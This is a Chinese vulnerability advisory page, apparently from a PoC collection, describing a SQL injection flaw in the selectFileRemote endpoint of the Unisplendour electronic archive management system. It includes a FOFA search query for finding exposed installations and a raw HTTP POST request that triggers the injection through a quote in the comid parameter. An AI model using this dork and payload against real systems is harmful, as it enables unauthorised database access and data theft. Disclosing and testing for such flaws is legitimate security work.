紫光电子档案管理系统selectFileRemote存在SQL注入漏洞

日期: 2024-09-03 | 影响软件: 紫光电子档案管理系统 | POC: 已公开

漏洞描述

紫光软件系统有限公司（以下简称“紫光软件”）是中国领先的行业解决方案和IT服务提供商，成立于2001年7月25日，是紫光股份有限公司的全资子公司，紫光集团云网板块中的重要组成，业务涵盖软件与技术开发、数字化战略咨询与顶层设计、数字化平台集成与运营，致力于为行业数字化转型提供可持续发展动力。紫光档案管理系统存在selectFileRemote泄露漏洞。

PoC代码

# 紫光电子档案管理系统selectFileRemote存在SQL注入漏洞



紫光电子档案管理系统selectFileRemote存在SQL注入漏洞，允许攻击者通过恶意构造的SQL语句操控数据库，从而导致数据泄露、篡改或破坏，严重威胁系统安全。



## fofa



```javascript

body="www.unissoft.com"

```



## poc



```javascript

POST /Archive/ErecordManage/selectFileRemote HTTP/1.1

Host: {{Hostname}}

Accept: */* Accept-Encoding: gzip, deflate

Connection: close

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36

Content-Type: application/x-www-form-urlencoded



userID=admin&fondsid=1&comid=1'

```

相关漏洞推荐